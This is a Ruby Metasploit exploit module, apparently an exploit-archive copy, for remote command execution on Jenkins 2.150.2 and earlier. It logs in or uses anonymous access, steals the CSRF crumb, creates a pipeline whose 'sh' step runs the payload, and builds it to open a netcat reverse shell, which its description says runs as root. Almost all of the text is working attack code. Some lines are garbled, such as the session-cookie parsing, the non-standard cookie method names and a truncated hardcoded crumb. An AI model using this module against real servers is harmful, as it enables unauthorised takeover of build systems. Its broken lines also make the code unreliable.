## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Jenkins <= 2.150.2 Remote Command Execution via Node JS (Metasploit)', 'Description' => %q{ This module can run commands on the system using Jenkins users who has JOB creation and BUILD privileges. The vulnerability is exploited by a small script prepared in NodeJS. The sh parameter allows us to run commands. Sample script: node { sh "whoami" } In addition, ANONYMOUS users also have the authority to JOB create and BUILD by default. Therefore, all users without console authority can run commands on the system as root privilege. }, 'Author' => [ 'AkkuS <Özkan Mustafa Akkuş>', # Vulnerability Discovery, PoC & Msf Module ], 'License' => MSF_LICENSE, 'References' => [ ['URL', 'https://pentest.com.tr/exploits/Jenkins-Remote-Command-Execution-via-Node-JS-Metasploit.html'] ], 'Privileged' => true, 'Payload' => { 'DisableNops' => true, 'Space' => 512, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'reverse netcat generic perl ruby python telnet', } }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets' => [[ 'Jenkins <= 2.150.2', { }]], 'DisclosureDate' => 'Feb 11 2019', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' })) register_options( [ OptString.new('USERNAME', [ false, 'The username to authenticate as', '' ]), OptString.new('PASSWORD', [ false, 'The password for the specified username', '' ]), OptString.new('PATH', [ true, 'The path to jenkins', '/' ]), ], self.class) end ## # Jenkins activity check ## def check res = send_request_cgi({'uri' => "/login"}) if res and res.headers.include?('X-Jenkins') return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe end end def exploit print_status('Attempting to login to Jenkins dashboard') res = send_request_cgi({'uri' => "/script"}) if not (res and res.code) fail_with(Exploit::Failure::Unknown) end sessionid = 'JSESSIONID' <'JSESSIONID')[1].split('; ')[0] @COOKIE = "#{sessionid}" print_status("#{sessionid}") if res.code != 200 print_status('Logging in...') ## # Access control and information ## res = send_request_cgi({ 'method' => 'POST', 'uri' => "/j_acegi_security_check", 'COOKIE' => @COOKIE, 'vars_post' => { 'j_username' => Rex::Text.uri_encode(datastore['USERNAME'], 'hex-normal'), 'j_password' => Rex::Text.uri_encode(datastore['PASSWORD'], 'hex-normal'), 'Submit' => 'Sign+in' } }) if not (res and res.code == 302) or res.headers['Location'] =~ /loginError/ print_error('User Login failed. If anonymous login is active, exploit will continue.') end else print_status('No authentication required, skipping login...') end ## # Check Crumb for create pipeline ## COOKIEs = res.get_COOKIEs res = send_request_cgi({ 'method' => 'GET', 'uri' => "/view/all/newJob", 'COOKIE' => COOKIEs }) html = res.body if html =~ /Jenkins-Crumb/ print_good("Login Successful") else print_status("Service found, but login failed") exit 0 end crumb = res.body.split('Jenkins-Crumb')[1].split('");<')[0].split('"').last print_status("Jenkins-Crumb: #{crumb}") ## # Create Pipeline ## res = send_request_cgi({ 'method' => 'POST', 'uri' => "/view/all/createItem", 'COOKIE' => COOKIEs, 'vars_post' => { 'name' => "cmd", 'mode' => "org.jenkinsci.plugins.workflow.job.WorkflowJob", 'from' => "", 'Jenkins-Crumb' => "#{crumb}", 'json' => "%7B%22name%22%3A+%22cmd%22%2C+%22mode%22%3A+%22org.jenkinsci.plugins.workflow.job.WorkflowJob%22%2C+%22from%22%3A+%22%22%2C+%22Jenkins-Crumb%22%3A+%22528f90f71b2d2742299b4daf503130ac%22%7" } }) ## # Configure Pipeline ## shell = payload.encoded res = send_request_cgi({ 'method' => 'POST', 'uri' => "/job/cmd/configSubmit", 'COOKIE' => COOKIEs, 'vars_post' => { 'description' => "cmd", 'Jenkins-Crumb' => "#{crumb}", 'json' => "{\"description\": \"cmd\", \"properties\": {\"stapler-class-bag\": \"true\", \"hudson-security-AuthorizationMatrixProperty\": {}, \"jenkins-model-BuildDiscarderProperty\": {\"specified\": false, \"\": \"0\", \"strategy\": {\"daysToKeepStr\": \"\", \"numToKeepStr\": \"\", \"artifactDaysToKeepStr\": \"\", \"artifactNumToKeepStr\": \"\", \"stapler-class\": \"hudson.tasks.LogRotator\", \"$class\": \"hudson.tasks.LogRotator\"}}, \"org-jenkinsci-plugins-workflow-job-properties-DisableConcurrentBuildsJobProperty\": {\"specified\": false}, \"org-jenkinsci-plugins-workflow-job-properties-DisableResumeJobProperty\": {\"specified\": false}, \"com-coravy-hudson-plugins-github-GithubProjectProperty\": {}, \"org-jenkinsci-plugins-workflow-job-properties-DurabilityHintJobProperty\": {\"specified\": false, \"hint\": \"MAX_SURVIVABILITY\"}, \"org-jenkinsci-plugins-pipeline-modeldefinition-properties-PreserveStashesJobProperty\": {\"specified\": false, \"buildCount\": \"1\"}, \"hudson-model-ParametersDefinitionProperty\": {\"specified\": false}, \"jenkins-branch-RateLimitBranchProperty$JobPropertyImpl\": {}, \"org-jenkinsci-plugins-workflow-job-properties-PipelineTriggersJobProperty\": {\"triggers\": {\"stapler-class-bag\": \"true\"}}}, \"disable\": false, \"hasCustomQuietPeriod\": false, \"quiet_period\": \"5\", \"displayNameOrNull\": \"\", \"\": \"0\", \"definition\": {\"script\": \"node {\\n sh \\\"#{shell}\\\"\\n}\", \"\": [\"try sample Pipeline...\", \"\\u0001\\u0001\"], \"sandbox\": true, \"stapler-class\": \"org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition\", \"$class\": \"org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition\"}, \"core:apply\": \"\", \"Jenkins-Crumb\": \"#{crumb}\"}", 'Submit' => "Save" } }) if res.code == 302 print_good("Pipeline was created and Node JS code was integrated.") end ## # Build Pipeline and Execute payload ## print_status("Trying to get remote shell...") res = send_request_cgi({ 'method' => 'POST', 'uri' => "/job/cmd/build?delay=0sec", 'COOKIE' => COOKIEs, 'vars_post' => { 'Jenkins-Crumb' => "#{crumb}" } }) handler end end ## # End ##